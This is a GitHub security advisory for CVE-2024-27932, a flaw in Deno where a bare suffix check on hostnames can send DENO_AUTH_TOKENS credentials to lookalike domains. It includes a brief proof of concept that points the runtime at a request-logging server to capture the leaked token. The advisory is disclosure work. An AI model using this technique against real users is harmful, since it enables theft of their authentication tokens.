GitHub Advisoryadvisory · crates.io
GHSA-5frw-4rwq-xhcr Deno's improper suffix match testing for DENO_AUTH_TOKENS
MEDIUM
Official page ↗
- Aliases
- CVE-2024-27932
- Ecosystem
- crates.io
- Packages
- deno
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
- Weaknesses
- CWE-20
- Reviewed
- 2024-03-06
Affected packages
• crates.io deno: >= 1.8.0, < 1.40.4 → fixed in 1.40.4
Description
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.
Details
auth_tokens.rs uses a simple ends_with check, which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.
PoC
• Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.
• Run `[email protected] deno run https://not-a-left-truncated.domain`. For example, `[email protected] deno run https://denovulnpoc.example.com`
• Observe that the token intended only for the truncated domain is sent to the full domain
Impact
_What kind of vulnerability is it? Who is impacted?_
Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
Related
Alias · CVE (1)
- CVE-2024-27932 Deno is a JavaScript, TypeScript, and WebAssembly runtime. vulnerability
Weakness · CWE (1)
- CWE-20 Improper Input Validation weakness
References
- https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr web
- https://nvd.nist.gov/vuln/detail/CVE-2024-27932 advisory
- https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b web
- https://github.com/denoland/deno package
- https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89 web